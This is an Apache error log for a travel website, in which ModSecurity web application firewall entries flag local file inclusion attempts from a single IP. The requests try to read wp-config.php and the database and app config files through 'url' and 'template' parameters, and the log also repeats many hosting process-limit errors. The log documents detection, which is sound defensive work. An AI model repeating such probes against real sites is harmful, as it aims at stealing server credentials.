[Fri Jul 17 08:55:47.586962 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguwRRrtuZqNDDSqWwVwAAABo"]
[Fri Jul 17 08:55:47.587151 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.587308 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu6quHSHoCJK_V0SBeAAAABs"]
[Fri Jul 17 08:55:47.587587 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguwRRrtuZqNDDSqWwVwAAABo"]
[Fri Jul 17 08:55:47.595186 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:template: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlCQAAAAI"]
[Fri Jul 17 08:55:47.595852 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlCQAAAAI"]
[Fri Jul 17 08:55:47.595994 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.596306 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu41dLClkUfK_dfHlCQAAAAI"]
[Fri Jul 17 08:55:47.600331 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.605985 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.610814 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.614188 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.626143 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.630686 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.669136 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.672442 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.673570 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.678175 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.679325 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.681500 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.699395 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:url: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxJ0z2bEtnOrIXVAhAAAAAk"]
[Fri Jul 17 08:55:47.700087 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguxJ0z2bEtnOrIXVAhAAAAAk"]
[Fri Jul 17 08:55:47.700221 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.700556 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguxJ0z2bEtnOrIXVAhAAAAAk"]
[Fri Jul 17 08:55:47.703092 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:47.704179 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:url: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETbBQAAAAo"]
[Fri Jul 17 08:55:47.705094 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguzsMb3am0TgkjETbBQAAAAo"]
[Fri Jul 17 08:55:47.705267 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.705661 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguzsMb3am0TgkjETbBQAAAAo"]
[Fri Jul 17 08:55:47.741429 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:url: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu-1pLmPpy2r_2CxfhAAAAA8"]
[Fri Jul 17 08:55:47.742081 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu-1pLmPpy2r_2CxfhAAAAA8"]
[Fri Jul 17 08:55:47.742237 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.742514 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu-1pLmPpy2r_2CxfhAAAAA8"]
[Fri Jul 17 08:55:47.743314 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:url: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguwRRrtuZqNDDSqWwWQAAABo"]
[Fri Jul 17 08:55:47.743698 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:url: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlCwAAAAI"]
[Fri Jul 17 08:55:47.743956 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguwRRrtuZqNDDSqWwWQAAABo"]
[Fri Jul 17 08:55:47.744089 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.744326 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu41dLClkUfK_dfHlCwAAAAI"]
[Fri Jul 17 08:55:47.744364 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguwRRrtuZqNDDSqWwWQAAABo"]
[Fri Jul 17 08:55:47.744425 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.744712 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu41dLClkUfK_dfHlCwAAAAI"]
[Fri Jul 17 08:55:47.744787 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.746929 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:url: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu3RlmrtCoY_COpcmKQAAAAg"]
[Fri Jul 17 08:55:47.747578 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgu3RlmrtCoY_COpcmKQAAAAg"]
[Fri Jul 17 08:55:47.747700 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.747941 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu3RlmrtCoY_COpcmKQAAAAg"]
[Fri Jul 17 08:55:47.748281 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.758926 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:47.764930 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
